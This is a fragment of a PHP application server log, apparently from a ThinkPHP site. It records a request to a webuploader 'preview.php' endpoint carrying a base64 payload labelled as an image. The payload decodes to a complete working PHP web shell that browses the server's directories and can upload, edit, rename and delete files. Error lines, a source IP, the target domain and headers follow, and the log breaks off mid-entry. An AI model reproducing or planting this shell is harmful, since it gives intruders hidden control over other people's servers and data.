'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'user' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:28:20+08:00 ] 119.42.146.234 POST 51tianwei.com/static/admin/js/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002792s] [吞吐率:358.15req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 